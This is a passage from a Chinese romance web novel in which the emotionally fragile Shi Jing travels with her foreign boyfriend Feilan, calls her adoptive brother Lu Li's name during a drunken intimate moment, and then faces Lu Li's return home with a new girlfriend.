在当地租了一套小院,正好四个房间,请了钟点工阿姨,每日上门打扫卫生、做饭。
春城风景秀丽,一年四季温暖如春。
除了繁华的市中心里商业气息浓厚外,下面的城镇民风淳朴,热情好客,当地的民宿价格也十分亲民,旅游业养活了这座城市,但它仍能保留着当地的民风习俗。
慢节奏的生活,热情的当地人。
鲜美的食物,温暖适宜的天气。
费兰找了个当地人做导游,天气好时,或开车或骑行车,沿着环海公路兜风,又或是带着他们去一头扎进鲜花市场,两位妈妈心满意足地挑选一车各类品种的鲜切花,再去陶器市场挑选合适的花瓶,回家能折腾插两天花。
跟着一日团扎进原始森林里徒步。
或是去搜寻街头巷尾的罕见美食。
或是穿上当地服饰去拍照打卡。
或是一天什么都不做,就在民宿里晒太阳围炉煮茶。
这些活动,只有费兰会全程陪同,时憬有时会跟着去,大多时候她都一个人在民宿里,坐在二楼平台上,天晴朗时,能眺望到远
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处蔚蓝的海面。
她什么也不想,任由自己放空。
平静而麻木地看着日升日落。
情绪反扑时,她就把自己关在房间里。
两位妈妈偶尔会邀请她出门游玩,时憬大多都会同意,再一次看见她在坐在平台上画画后,妈妈们便不再邀请她,也就没有察觉她偶尔一两次的闭门不出。
上一次接受治疗时,是陆礼陪着她。
这一次只剩下她自己。
可她也要好起来。
然后好好活下去。
她要变回‘时憬’。
回到他们身边去。
随着日子一天天过去,她开始习惯费兰与自己亲密时各种甜腻的称呼,她也能熟练地依赖幻觉,大脑屏蔽所有身体的感官,这样就不会再觉得煎熬,可每一次结束每一次从记忆中抽离,都会累积一丝愧疚。
因为愧疚,她也不会拒绝费兰的每一个要求。
而费兰迟迟没有进入下一步。
两人之间,只有拥抱亲吻。
时憬不愿去想原因。
在一个月的假期快到尾声时,时憬才接到了童宛的视频。
她仍是那种浑不在意的语气,向时憬吐槽她最近受到的不公平待遇,“他们停了我将近两个月的信用卡!说我吃住都在家里,不准我出门,没有花钱的地方!简直要把我逼疯了!我那个二世祖的混账哥哥高兴**,还嫌我爸妈罚我时间短,隔三岔五就提一句——我艹他大爷——艹不对,他大爷也是我大爷!”
时憬听着她气呼呼的咒骂,忍不住笑了声。
在她刚收住笑声时,童宛加了句:“我订婚了。”
如平地一声惊雷。
时憬迟钝的思绪被诈起惊涛骇浪,“和…谁?”
童宛:“你见过的那个相亲男,哦,你还不知道他名字是吧,叫卫文耀。”
童宛的语气随意得像是买了双鞋子、买了件大衣。
时憬:“你答应了?”
童宛啧啧两声,“时大小姐,你这交了外国男朋友后中文也下降了啊,我刚说订婚了,不答应怎么可能是过去完成式呢。”
第76章 停下,陆礼……
时憬想起童宛和季易在一起时的笑脸、声音。
和现在提及卫文耀是截然不同的。
“你答应了啊。”
童宛耸肩,仍是一副无所谓的模样,“没办法啊,老头子冥顽不灵,听到我包养了个小白脸还想和他结婚,被我气得进了医院差点嘎了。你也知道我那二世祖哥哥,赚钱不行败家一把能手,老头子嘎了我咋办。然后啊,季易养不起我,我也没钱包养他,我俩就掰了。现在结果也挺好的,相亲男、不是卫文耀那么喜欢我,我也不亏。”
童宛笑呵呵地说着。
她花钱找人来爱她、重视她,现在她没钱了,只能退而求其次找不用花钱也能爱她的人,尽管那个人不符合她的审美,但——
她不找卫文耀,老头子就会被她气死,老妈还要把她断绝母女关系。
她不学无术的,离开童家人就彻底烂了。
所以现在这样挺好的。
卫文耀要亲她、抱她的时候,闭上眼关上灯忍忍就行。
可她看见屏幕里,好姐妹看起来比她还要悲伤。
童宛活跃气氛,“年底我就要结婚了,我在网上搜了下,需要准备的事情居然那么多。到时候你来当我伴娘——啊,”她压低声,小心翼翼问:“你爸妈和你哥能同意么?”
时憬点头,笑容是童宛熟悉的。
“会的,记得把捧花留给我。”
童宛也跟着笑起来:“那必须的!”
在视频通话结束前,童宛望着她,轻声却坚定地说:“时憬,人都要活下去,我认命了,你一定要获得幸福。”
幸福——
她会幸福吗。
不会的。
她无法获得幸福。
她只能活下去。
情绪反扑来得猝不及防,但不令人痛苦,她翻出来一瓶酒,倒在漂亮的玲珑盏里。
喝完一瓶,麻木的情绪短暂被释放了出来,在晕眩中,她终于敢放肆地去思念陆礼。
她趴在桌子上,望着外面残阳如血。
一遍遍念着陆礼的名字。
她像回到了国外的那座小别墅里。
每到傍晚,她就趴在窗口,看着陆礼回来。
陆礼。
陆礼。
今天他怎么还没回来啊。
她等啊等啊,从黄昏等到了夜幕降临,终于听见脚步声靠近。
脚步声靠近,又消失了。
她眼中的欣喜熄灭。
陆礼,今天回来得好晚啊。
在她等到快要睡着时,门外传来敲门声,她蹭地跳起来,脚步声极重的噔噔噔跑到门口,用力拉开门——
费兰送两位妈妈回来,看见时憬房间暗着。
以为她先睡了。
洗漱后,又忍不住过来想看看她。
才敲了下一下门,屋子里就传来匆忙的脚步声,门打开后,他看到一张面颊红扑扑、黑亮又湿润的眼睛,欣喜地冲他笑着。
柔软,灿烂。
像星光猝不及防地在眼前绽放。
他的心脏被轻轻撞了下。
“宝贝,”年轻金发男人上前一步,喉结滑动了下,目光黏在她脸上,“你是在等我吗?”
她只是冲着他笑。
主动拉住他的手。
柔软的手挤入手掌,那一瞬,费兰觉得自己能忍住不亲吻她就不是个男人。
他靠近一步,反手关上门。
双手捧着她的脸颊,低下头,闻到她呼吸间的酒味,像喝了很多小甜酒,气息是甜丝丝的,一点也不难闻。
“甜心,我的小公主,”金发男人的唇几乎要碰到她的唇,却迟迟没有吻下去,唇瓣轻轻来回触碰,看着她眼中水意涟漪,“你今天喝了多少?怎么会这么甜……”
她没有闪躲。
眼神也没有避开。
黑润的眼神更像是无声的邀请。
费兰知道女朋友喝醉了做这些有那么点不绅士,但他为了迁就她的适应期,已经很克制自己了,今晚她这样邀请自己,他见鬼的能管得住。
低下头,深深吻下去。
手掌摁住她的脸颊。
很快不满足于柔软的唇瓣。
闯进去,舌尖划过她的牙齿、上颚,寻到她的。
每一次亲吻,主动的只有他,她不会回应。
费兰在交往前就有了心理准备,星光女士内敛慢热,没关系,他有足够的耐心,更何况他对她是生理性的喜欢。
但今晚,他尝到了女友的回应。
不算生涩的动作。<
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br>认真,柔柔的。
搔着费兰脆弱的一塌糊涂的底线,他捧着女友脸颊的手下移,将她压在旁边的墙上,情动之间,渴望触碰到更多的地方。
从唇边到唇角,再到耳垂,继续往下到脖颈——
他听见自己粗重的呼吸声。
蓝瞳眼底被欲望熏染成深海的蓝。
他低声询问,用母语:“可以么?”
费兰看见她脸颊嫣红,听见她气息不稳的声音,“你…不要说…外语……”
费兰沉溺在欲望中,并未疑心这句话。
他立刻配合地改成中文,短暂克制欲望,认真问她:“可以吗?”
他没等到回答。
是她先吻了上来。
欲望就像是一点即燃的干草。
他抱起时憬,借着窗口的月光走到床边,弯腰放下,人立刻跟着压下去,纠缠不断地交换着深吻。亲了会后,他分开,直起上身,粗喘气息,两手抓住衣摆脱下T恤,露出结实的身躯、白皙的腹肌,他又低头深吻。
双手不再控制她的手掌。
分分合合间,拉开她身上的裙子,动作有些粗鲁地拽下来,扔到身后。
时节仍未入夏。
入夜后房间里还有些冷。
时憬用胳膊环住自己的身体,晕眩迷离中看着他脱去长裤,再度压下来。
这一次,费兰不再迷恋她的唇。
从脖颈开始往下蔓延。
她试图用手遮挡。
却被滚烫的手掌握住、分开,灼热的呼吸扑在她腰腹,她似是动情、似是怕养,想要躲开,滚烫的掌心就掐住她的腰,不准她乱动。
而后继续……
迷离的眸中水色大盛。
她双手捧住那颗毛茸茸的脑袋,柔软粘稠的声音从她喉咙里传出来,“不……”发丝微硬发丝挤入她十指,蹭在腰腹,传出来的声音就越软。
费兰像被架在篝火上烤着,快控制不住。
眼底染尽欲望。
还想听她更多的哼声,求饶声,这是他从未见到的一面,是只有他看见的,星光的另一面——
他拉开她的手腕,有些恶劣的继续。
“停下——”
她的声音都开始细颤,“陆礼……”
第77章 又要抱着我叫哪个男人的名字
一声呢喃。
让费兰的动作僵住,他抬起头,蓝瞳里浓墨般的欲望如潮水般褪去,逐渐恢复冰蓝似的蓝调。他撑起胳膊,视线重新回到她脸上,柔声问:“宝贝,你刚才说什么?”
他从未见过她动情的模样。
此时时憬的眼瞳湿漉漉,眼神似是粘稠的蜜糖。
“不可以…”
她捧住他的脸,充血微肿的唇轻轻张合。
费兰还在问:“我是谁。”
她笑了。
也是他从未见过的甜美,“陆——”
费兰闭眼!
欲望被劈头灌下来的冰水冻结,消退过后滋生出来的就是失控的愤怒,他撑起身体重重在床边坐下,抓起衣服想要套上,可在套上前,他猛地把衣服狠狠掼在地上,低声咒骂:“F**K!”
这声动静惊醒时憬。
她从醉酒的幻觉中抽离。
眼前与她缠绵的陆礼变成费兰,他愤怒地喘息着。
时憬脸色瞬间煞白,她手忙脚乱地爬起来,用胳膊挡住身体,开口道歉:“对不……”
没等她说完,费兰再次抓起长裤、短袖怒气冲冲地离开,反手将门重重摔上!
“砰——”
时憬闭紧眼睛。
肩膀跟着颤了一下。
屋子里变得安静起来,一分钟前的旖旎散尽,只剩入夜后微凉的空气,惊起一身鸡皮疙瘩。
“起……”
她吐出最后一个没来得及说完的字。
原来放肆思念陆礼会是这个结果,将现实与幻觉彻底混淆,她沉溺其中,甚至不愿清醒……但,她伤害到了费兰。
他听见自己叫了谁的名字吗?
邓阿姨会知道吗?
妈妈会知道吗?
他们是不是会分手?
会吧?没有一个男人能忍受这样的奇耻大辱,在床上被叫做其他男人的名字,甚至从前的每一次接触,她都幻想成是陆礼——
“有关系。”
低哑的声音冷不丁在面前响起。
脸颊上有微凉的指腹擦过的触感,抹开一道湿漉的痕迹。
时憬睁开眼看。
是不知道什么时候去而复返的费兰,那双迷人动情的冰蓝色眼瞳里生出红色血丝,他的手拢着她的脸颊,低头凑近,“时憬,你喝醉了,原谅你一次,但没有下一次了,我也有男人的自尊。”
说完,他甚至没有要求时憬回答,只是用力地将她压入怀中。
他连衣服都还没穿上。
她也是。
肌肤触碰,无关情欲。
都是夜里微凉的温度。
时憬垂下眼睫,低声道歉,而后说:“我以为你不会回来了。”
费兰积攒的怒气,因为这一句话降低一半,他恶狠狠地抱紧时憬,“除了和你闹出绯闻叫白行的男人外,你究竟还有几个前男友?最好把名字全部告诉我,让我有个心理准备,鬼知道下次你喝醉时又要抱着我叫哪个男人的名字!”他的头埋在时憬的脖颈间,微硬的金发戳着她敏感的肌肤,他的嗓音更低沉一分,唇瓣摩挲着她的肌肤,“这对身体很不好,知道吗。”
外国人热情奔放,费兰也毫不遮掩对她的欲望,他用力抱紧着她,没有衣服遮蔽,所有反应都如此清晰。
时憬浑身僵硬。
脖颈边的呼吸潮热,耳边的心跳声剧烈。
她不敢再躲进幻觉中,第一次意识到拥抱她的早已不是陆礼,而是费兰,是她交往近半个月的男友。她也知道不能躲避,但脱离幻境后,拥抱身躯的温度、气味、力度,陌生的让她觉得恐惧。
身体控制不住想躲开。
但不可以。
她……
不能和费兰分手。
时憬没有推开他,但呼吸声及僵硬的身体却暴露了她的回应,费兰在脖颈间密集的亲吻再次停下,房间里安静得连呼吸声都听不到。
许久后,费兰只是用力地抱着她,哑声开口,“抱歉,这次是我太心急了。”
他不再触碰时憬更多的肌肤。
愧疚升到喉咙口,令她呼吸困难,“…对不起。”
费兰瓮声瓮气回:“还是有关系。”他的胳膊用力,说话的声音却越来越轻,“时憬,我
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们是在谈恋爱,至少今后对我主动些,不然我好可怜,歪果仁的心灵很脆弱的,多来几次这样的很容易ED的。”
似乎是为了证明这份可怜,费兰松开她,深情的蓝眸变成了小狗眼,可怜兮兮地看着她。
时憬垂眸,认真地道歉,“对不起。”
在月光下她的脸庞似盈着一层淡淡的柔光。
星光黯淡。
至此,费兰彻底不生气了。
甚至为了缓解氛围,他还凑到时憬面前故意问:“宝贝,刚才的单词你没听懂?”
费兰松开后,时憬不再紧张。
她摇头回应,拉起旁边的薄被围住自己的身体。
费兰拿出手机,摁亮屏幕进入搜索软件,输入ED,把跳出来的页面递到时憬面前。
房间里没开灯,屏幕的光有些刺目。
她眯起眼睛去看。
白底黑字跃入眼底,非常详尽是解释ED,她起先还没有反应过来,跟着想到刚才的事情,瞬间羞恼上脸,皱着眉,直勾勾看他:“我困了,你出去吧!”
她不再死气沉沉。
星光也不再黯淡,有了生气。
费兰呲牙咧嘴地跳起来,似笑非笑,拔腿就往外跑,还不忘冲她说“晚安”。
字正腔圆,笑容灿烂。
时憬移开视线,看见还落在床上的短袖,抓起朝门外扔去:“喂——”
跑到门口的人影跑回来。
趁着她扔出前,从手中抢回来。
甚至还趁着这一间隙,快速低头在她额头落下一吻。
时憬抬眸看他。
撞入一双透蓝的眼。
“晚安吻。”
在时憬开口前,抓着衣服大步流星离去。
时憬抱着被子躺下,窗户大开,明月高悬,吹入的夜风裹着寒意。
她环紧胳膊,闭上眼。
听见自己的心跳声。
低落、平稳。
可今晚费兰的心跳声、他的手掌、他的呼吸、他的嘴唇都是那么滚烫、急促。
她已经在利用费兰了,不能再继续欺骗他。
不能再伤害他…
第78章 “哥哥”
当他们起程离开春城时,已进入梅雨季节。
天气开始变得闷热潮湿。
四人中只有时憬能适应这种南方的气候,邓阿姨、陆母、费兰都表现出极为的不习惯,从春城回到沙市,空气中的湿度才不显得那么夸张。
邓阿姨还笑着说连呼吸都顺畅了。
但这种微微窒息感,一直伴随着时憬。
哪怕落地沙市,她也未能摆脱这种不适感。
费兰提前安排司机把他的车开到司机,准备先送时憬她们先回去,谁知邓阿姨自己安排了司机来接她,让费兰不用管她,只送陆家母女就好。
一路上费兰陪着陆母聊天,时憬偶而也插几句。
气氛还算不错。
车子直接开进陆园,停在大门门口。
费兰先下车,依次为时憬、陆母拉开车门,又绕去后背下取下两个大行李箱,时憬伸手,准备从他手里接过箱子。
他们在外旅游近两个月,是费兰忙前忙后打点一切。
最累的也应该是他。
时憬也希望他能早些回去休息,不好意思再麻烦他。
费兰看着她的手无声挑眉,握住她主动递上来的手,一手拉着两个行李箱,一脸严肃道:“这么重的箱子怎么能让女士搬运呢?这应该是骑士的责任。”说着,拉着箱子的手松了下,握成拳在胸口敲了两下。
陆母看小情侣黏黏糊糊地在一起说话,掩唇笑着快步进门。
这会儿已经是傍晚,肯定要留费兰吃饭。
幸好她已经让阿姨提前去买菜,也定好菜单。
再去酒窖拿一瓶好酒招待。
只可惜父子俩都不在——
念刚落,陆母在灯光明亮的客厅里停在,难掩欣喜与思念,跨步朝他们走去,“不是说要明天的飞机回来吗?怎么提前回来了?你们是什么时候到家里的?怎么也不说一声!”
陆母半是嗔怪半是埋怨,却一直看着阔别一个月的丈夫。
碍于晚辈在场,陆父向来追求威严,只是虚拦了下妻子的肩膀,语气不知有多柔和:“我们也刚到没多久。小憬呢?怎么没看见她回来?”
时憬落后几步才进来。
她还以为是自己的幻听,一抬头,果真看见陆父就在平日坐的那个位置,目光慈爱温柔的看着她。
温情涌来。
哪怕情绪因药物而有些麻木的时憬,也立刻松开费兰的手,快步朝陆父小跑:“爸爸,您什么时候回——”
她小跑着进客厅。
看见了坐在斜对角的陆礼。
步子猛地顿住。
周围所有的颜色、声音在这一刻都从她眼中消失,她只看见陆礼坐在沙发上,戴着金丝边框眼镜,白色休闲衬衣、黑色长裤,目光温和,像是从她幻觉中走出来一般,这一刻,时憬甚至分不清这是现实还是虚幻,迟迟不敢叫出声。
堆积的思念牢牢堵在胸口。
快要冲垮她。
“这傻孩子,”陆母微笑着开口,“快两个月没见你哥,都不认识啦?”
时憬的心脏惊跳一下。
真的是他——
是陆礼回来了——
不是幻觉——
是陆礼——
时憬攥紧手指,克制着拥抱他的冲动,压抑下不该出现的过度思念,空洞无趣的眼中有了神采,她喉咙口滚了下,“哥——”
话音未落,就被另一道声音承接住。
“小憬妹妹,好久不见。”
她的视线僵硬移动。
褪去色彩的世界重回她眼中。
时憬才看见陆礼身边一直坐着一个女人,她甚至动作亲昵的当着自己的面,挽上陆礼的胳膊。
不要碰他!
陆礼是她的——
她听见心底有个声音在歇斯底里地吼叫着。
可她不能这么做。
陆礼……
已经不是她的。
因思念而加速跳动的心脏腾起剧烈的疼痛。
时憬垂下眼眸,在所有人眼中,乖巧地叫了声‘哥哥’,脚下的步子也停了,不敢再继续靠近。
楼心月温柔无害地宣示**,甚至还贴心的问:“妹妹,你旁边这位是……?”
陆父陆母看孩子们在一起说话,识趣地把客厅留给他们,正好陆母也因回程而疲惫,陆父陪着上楼去休息,让陆礼招呼客人。
时憬没有看向楼心月,怕会流露出眼中的厌恶。
身后传来行李箱轱辘声靠近的声音,她侧首
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,还未来得及看向费兰,腰侧按上一只手掌宽厚的手,五指扣住,轻轻松松地将时憬往怀里带了下,低头关切地看她,“宝贝?”似乎是在无声询问她,为何不向眼前的人介绍自己。
时憬知道,陆礼一定在看。
她侧了些身,像是依靠向高大的金发男友,手指无力地抓住他的衣摆。
仅这两个细微的动作,就让金发男友忍不住嘴角微扬。
他搂着女友的胳膊收紧,完全将她靠在自己胸前,看向眼前的一男一女,“Sorry,她有些累了。自我介绍一下,时憬的男朋友,费兰。”
楼心月惊喜地掩唇,转头看向身侧的男人,压低声快速说着:“陆礼,妹妹竟然交男朋友了,还是外国人,你之前知道么?还是——”
陆礼将胳膊从楼心月手中抽出,连一个多余的眼神都没有给她。
单手撑着沙发扶手,站起身,主动向费兰伸手:“时憬的哥哥,陆礼。这一路辛苦你照顾我的家人,晚上留下一起吃顿便饭?”
费兰握上手,“荣幸之至。”
笑容英俊而迷人。
蓝眸在看向怀中的女孩儿时,深情得让人脸红心跳,“小可爱,能告诉你的房间在哪儿?我先送你上楼休息,你的脸色看上去可不太好。”
尽管费兰能熟练使用中文。
但他仍是西式思维。
各种甜腻**的称呼也能坦然地叫出口。
时憬在这一个多月里已经免疫。
她轻轻颔首,只想尽快从客厅离开。
费兰向二人绅士的颔首,以示先行离开。
他一手拖着行李箱,一手还能揽着怀中的时憬,走到楼梯口时,时憬才拉开他的手,“不安全。”
费兰要逗她开心,故意说小case。
两人背对着客厅里,拉拉扯扯地说着话。
全然一副黏糊糊小情侣的模样。
楼心月收回视线,看见陆礼的目光仍落在楼梯口,她眼底闪过妒色,轻碰了下陆礼的手,抬手撩了下头发,柔声道:“陆礼,你坐下休息,我去厨房帮阿姨忙。”
陆礼收回视线,脸色微冷,目光疏离地扫了眼她。
“我送你回去。”
第79章 她是父子俩的掌上明珠
楼心月惊愕的睁大眼,却还要极力压制自己的情绪,语调柔婉的问道:“陆礼,刚刚我已经答应伯父留下来用晚餐,突然离开是不是不太好?”
陆礼语气平和,用词强硬不容人拒绝:“今天是费兰第一次来家里吃饭,你不方便在席。你回来也累了,我让司机送你回去。”
不方便在席?
楼心月如吃了黄连般。
她还想争取,“可我们不是也——”她想要握住陆礼的手,在碰到前,他先一步腾开手,拿起放在一旁的拐杖,一手拄着,一手扬了下,客客气气的打断她的话,“走吧,我送你到门口。”
楼心月有一瞬的难堪。
她以为自己飞去墨尔本,在陆礼遭遇车祸最脆弱的时候,自己无微不至陪伴一个多月,不说打动了他,但至少在他眼里,自己有了不同的分量。
她请陆礼假装配合自己交往,让她能应付家里的各种相亲介绍,只要等到项目结束他们可以“自然分手”。
如果陆礼心中没有自己,如此荒唐离谱的请求他怎么可能答应?
不对,陆礼心里肯定有她!
他们在墨尔本时不是这样的!
对——
都怪时憬!
全都是因为她,她一出现就让陆礼变了人一样,明明她都有男朋友了,居然还不要脸的诱惑陆礼!
楼心月挡住一闪而过的狠毒。
她绝对要把时憬这个**从陆礼身边彻底赶走!
楼心月露出温柔的笑容,“我知道了。”她期期艾艾的投去目光,上前一步,拉了下他的衣服,轻声问道:“我们明天……公司见?”
“明天见。”
*
短暂休整后,陆家人已在餐厅落座,反倒是时憬和费兰是最后下楼的。
两人走来时,费兰仍与时憬十指交握。
陆父远远看见后一头金发的费兰还拉着自己女儿的手就直皱眉,一脸的不愉快,小声发表意见:“在长辈面前拉拉扯扯的像什么话,到底是……嘶,你打我做什么?”
陆母淡淡看了他一眼,尽量不再儿女面前煞丈夫的威严,低声告诫道:“两个孩子在热恋期,你管他们?别当扫兴的老古板。”
陆父:“我就是不喜欢金毛小子。”他放下手机,看了眼桌上的红酒,哼了声,“我去换瓶酒。”
陆母懒得再去阻止他。
恰好时憬和费兰走来。
费兰热情而绅士,一一问候过。
还不忘先为时憬拉开椅子,看她落座后自己方才入座。
经过近两个月的相处,陆母对眼前的费兰是一万个说不尽的满意,目光亲和的说道:“你陆叔去拿酒了,马上就来。”
费兰与陆母一问一答,亲切愉快的说话。
时憬安静听着,面上挂着浅浅微笑。
不见平日的嘴甜撒娇。
整个人沉了下来,那些张扬、鲜活、明媚的棱角统统都消失了。
陆礼将橙汁推到时憬面前,“喝点,柳姨现榨的。”
时憬:“谢谢哥哥。”
她垂着眸,也不再对他笑的眉眼弯弯。
陆父提了瓶茅台过来,问费兰:“费兰?能喝酒吗,喝两口?”
费兰牢记母亲的吩咐。
到陆家谁的酒都不能拒绝。
陆家父子俩都把时憬看成掌上明珠,他要和时憬交往,就必须过了这两位的试验,酒量、酒品更是沙市考验男人最重要的一环。
费兰自觉酒量、酒品都不错,一口就应下。
时憬看着陆父手中的茅台,慢了半拍才反应过来,轻轻拽了下费兰的胳膊,低声说:“你开车了。”
费兰也小声回道:“找代驾。”
时憬:“那酒度数很高。”
陆父看女儿和金毛小子头挨着头说话,脸都快贴在一起了,越看越不顺眼,同陆母小声发牢骚:“说话就好好说话,凑那么近干嘛,还有,以后他来就别在小餐厅吃,去大餐厅,省的两人挨那么近。”
陆母一脸无语的看向儿子。
发现儿子脸色也冷。
得,搞得好像就她一人高兴女儿交了个靠谱的男友。
陆母故意不打断两个孩子腻腻歪歪说话,父子俩既然看不顺眼就多看看,毕竟以后看不顺眼的场面只会越来越多。
陆礼先有了动作。
他开了茅台先给陆父倒满
随后朝费兰扬了下,“费兰?”
费兰站起身,端起空杯递上前,十分顺口道:“谢谢哥!”<
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br>陆礼倒酒的动作微顿了下。
费兰没有察觉,仍在笑呵呵的问:“我刚听小憬这么叫的,我也可以这样叫吧?”
清透的纯酿填满玻璃小杯。
陆礼目光沉稳,脸上表情虽温和,却让人觉得透着客气的梳理,他微笑着夸了句:“中文学的不错。”
费兰思考了下。
默认他接受。
站起身,端着酒杯一一敬过来。
一口一个若云阿姨,一个哥,一个陆叔。
最后再敬陆父时,陆父仍严肃着一张脸,就嗯了声。
费兰只当陆父天生一张严肃脸,也没往心里去,热情的吃菜夸厨艺好,席上还算热闹。
陆母笑睨了眼丈夫,趁孩子们都没注意,小声说:“叫你叔就挂脸了,等改口叫你爸,你难不成还能把人打出去?”
陆父本来看那一头金毛在眼前晃就已不顺眼,一听妻子说还想撮合两人结婚,顿时酒杯一放,瞪眼道:“她敢找试——哼……”
这边的动静引来时憬侧目。
她关切看向陆父:“爸爸,您叫我么?”
陆母移开自己的脚,温柔的看着三个孩子。
陆父吸了口气凉气,挤出和蔼的笑:“是,我和你妈再说,孩子出去一趟回来,人看着气色好了,也胖了些。”
陆母跟着就道:“是胖了些,在外面虽然吃的没家里好,但风景好,费兰陪着小憬说说笑笑的,人开心了食欲不就好了起来。”
陆父坚决不承认这是费兰的功劳。
闭嘴喝酒。
时憬摸下自己的脸,笑着回道:“好像是胖了些。”
陆父就看见金毛小子拉着女儿的手,一眼不眨的盯着看,那眼神火热到他看着都害臊!
陆父实在看不下去,轻咳了两声。
一顿饭吃完,时憬送费兰出门。
费兰从小在国外长大,看不懂国内亲人含蓄的表达。
他拉着时憬的手走到门口,把钥匙扔给赶来的代驾,让他先上车,自己则转过身,两手把时憬抱在胸前,脸蹭着她的脑袋蹭,“甜心,家里爸爸严肃,哥看起来比爸爸还要冷酷,也就若云阿姨随和点,你是怎么在这样的家庭里长成小天使的?真让人心疼!”
第80章 妹妹似乎已经忘了有多喜欢它
喝醉的费兰更控制不住想要和时憬肢体接触。
尤其是经历今晚后,费兰已经开始脑补她在父亲、哥哥严格管教下度过的灰暗青春期,所以才容易被那个叫什么季节的男人轻易骗了。
噢!真是个小可怜!
时憬有些无语的任由费兰像是狗熊般抱着自己蹭。
但旺盛的雄性激素让他的下巴、嘴唇上都长出了胡茬,喝醉了后还没轻没重,蹭地时憬脸上火辣辣的疼,她忍了一下还是没忍住,用力把人往外推:“好疼!你该上车了!”
费兰被她推开,低着头,可怜巴巴的看她,蓝眼睛喝醉是水汪汪的,含糊不清的说着母语:“Babe、Sweetheart,今天对我好冷淡,你不会回来后就打算和我分手吧?”
时憬叹气:“你喝醉了。”
费兰:“你太冷酷了!”
时憬推了下他:“快上车吧。”
费兰两条胳膊仍搂着她,低沉的嗓音黏糊糊的撒娇:“亲我一下,我就听话上车。”
只有时憬朝人撒娇的份。
很少被人这么撒娇。
还是被一个人高马大的金发男人。
她微抿着唇。
费兰轻轻晃着她,开始低声诱惑:“就一下,亲了我就松开你。”
时憬被磨的毫无办法。
代驾司机目视前方,完全没朝他们这边看来,门口也只有他们两人,时憬松开抿着的唇,态度松动。费兰立刻弯下腰,主动将脸凑到时憬面前。
她半垂下眼睑,在他面颊碰了一下就要退开。
退路被拦住。
费兰撕毁承诺,紧抱避开的身躯,毫不费力的找到她的唇,张口深吻,他力气大到时憬无法推开,唇被堵住,连斥责、骂声都无法逸出。
呼吸间都是浓重的酒气。
时憬紧皱着眉,抗拒强迫性的亲吻,用力咬下了费兰的舌头,他疼的猛一缩,才松开时憬,甚至还很委屈的问她:“宝贝,你为什么咬我?”
时憬平息怒气,“说话不算话。”
费兰愈发无辜:“我们都是成年人,刚才那个贴脸吻,连小学生都会觉得幼稚……OK,我不说了,只是baby,”看她沉下脸,握住她的手,拉倒唇边亲吻,“甜心,你的家教实在太严格了。”
时憬:“……说完了?上车。”
费兰松开她,自己听话上车,降下车窗,还不忘记同她飞吻,月光下,他的金发笼着层光,蓝瞳深情望来:“希望甜心有一个好梦。”
仿佛刚才幼稚耍赖的人不是他。
看着吉普车开远,时憬擦了下唇。
那股浓烈的白酒气味,残留在口中。
她皱了下眉,快步上楼,想回房洗漱清理,在楼梯口转了个弯,猝不及防的看见陆礼站在她房门口。
捂着唇的手垂落。
他们之间隔着一条长长的走廊。
陆礼朝她站着的方向抬了下手,语气温和的对她说:“出差礼物,不要了?”
时憬忍不住靠近,脚下的步子越走越快。
到最后几步时,她克制着才没有飞奔过去,才没有扑入他的怀中——
她不敢再这么做。
怕被推开。
他好不容易回来了。
好不容易回来肯见自己了。
她微微喘着气,站在他面前,开口说话时,才看见他夹在右胳膊下的拐杖,心瞬间跳到嗓子眼,“哥,你的腿怎么了?”她急切的询问,眼中都是着急,目光紧紧盯着他黑色长裤下的腿,甚至弯腰伸手想要触碰。
“时憬。”
她的手腕被握住。
贴在手腕的掌心温热。
带着不容抗拒的力道,拉开她的手,语气温和、冷静的告知她:“已经没事了,不用太担心。”
时憬怔怔的抬头。
目光扫过他腋下的拐杖。
是扭伤?还是摔伤?还是其他引起的行动不便?他连这些都不肯告诉她。
轻描淡写告诉她一句‘没事’。
没事——
都需要使用拐杖能算
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没事吗?
时憬的目光僵硬的上移,她才敢放肆的看着兄长,才发现他瘦了好多,眉宇间的冷色与严肃更甚,时憬再一次意识,眼前的陆礼已经不是从前那样纵容的看着她胡闹的兄长。
没事……
他回来了。
甚至还记得带礼物送她。
时憬扬起浅浅的笑,双手从他手中拿过精致丝绒盒子,打开看了眼,是对钻石水滴型耳环,钻光璀璨耀眼。
依旧价格不菲。
啪的一声。
她轻合上盖子。
“谢谢哥哥。”
语气与餐桌上的那一句谢谢一模一样。
似乎在现在的妹妹眼中,一杯橙汁与一对价值百万的钻石耳环是一样的,他仍记得这是她当初捧着杂志念了很久的耳环,因是高奢珠宝,他没有允诺能买给她,但私底下预定下单了,想要给妹妹一个惊喜。
这次出差墨尔本时恰好到货,出车祸那天,他正准备去买下。
但妹妹似乎已经忘了曾经多喜欢它。
年轻女孩的喜恶变化如此之快。
快到令年长的哥哥措手不及。
四个月前,她还在说‘这一辈子不会爱上其他男人’,半年未到,她已经能坦然与外国男友在门外如若无人的亲吻。
陆礼往旁边让开两步,“时间不早了,早点休息。”
妹妹听话的应了声,进门前还和他说了声晚安,反手将门关上,走廊里又恢复一片安静。
秦天川说的没错,谈一场恋爱能让时憬尽快从上一段扭曲的感情中脱离。
最近时憬的状态比过年期间的状态好了很多,复诊情况良好,她正在用自己的方式努力活下去。
他推开时憬是对的。
他——
不应该有任何犹豫。
哪怕她不再依赖自己,不再无厘头的撒娇,不再会对着他笑的灿烂明媚。这些,早已超过成年兄妹之间的尺度,现在他们不过是回到了正常兄妹的相处模式。
陆礼狠狠闭了下眼。
第81章 怎么能怀疑他们兄妹
次日。
时憬被一通微信通话吵醒。
她从混沌的梦中惊醒,心口狂跳不止,整个人像是从水里捞出来似的,汗水打湿夏季单薄的睡衣,湿漉漉的粘在身上。
让人不适。
她用胳膊夹着手机。
是耶耶找她。
下床倒了杯温水,一口口慢慢喝着,顺便听耶耶的惊天大新闻。
耶耶:“今天总部都炸翻天了!!你知道吗!”
耶耶:“楼心月居然转正了?!!”
时憬刚醒来,脑子更加麻木迟钝,问了句:“她之前是合同工?”
耶耶:“时小姐就是幽默哈……”
耶耶:“但咱现在收一收!!我要说的是楼心月居然真的追到我们总裁了!也就是你的哥哥!!”
耶耶:“**,你不知道!总部今天真的跟炸了一张,我给你看这张照片!!楼心月到底在墨尔本做了什么竟然真成了陆少女朋友!!”
时憬放下水杯,想拿手机看。
“啪——”
玻璃杯掉落,碎了一地碎片。
碎裂的玻璃边缘泛着锐利的冷光。
耶耶说的忘情,没有注意到这边的动静。
她蹲下身,想伸手捡起。
……
“杯子在哪儿打碎的?收拾干净了吗?”
“怎么收拾的?用这双手捡的?”
“下次记得戴手套捡,再用扫把,或者找人帮忙。”
……
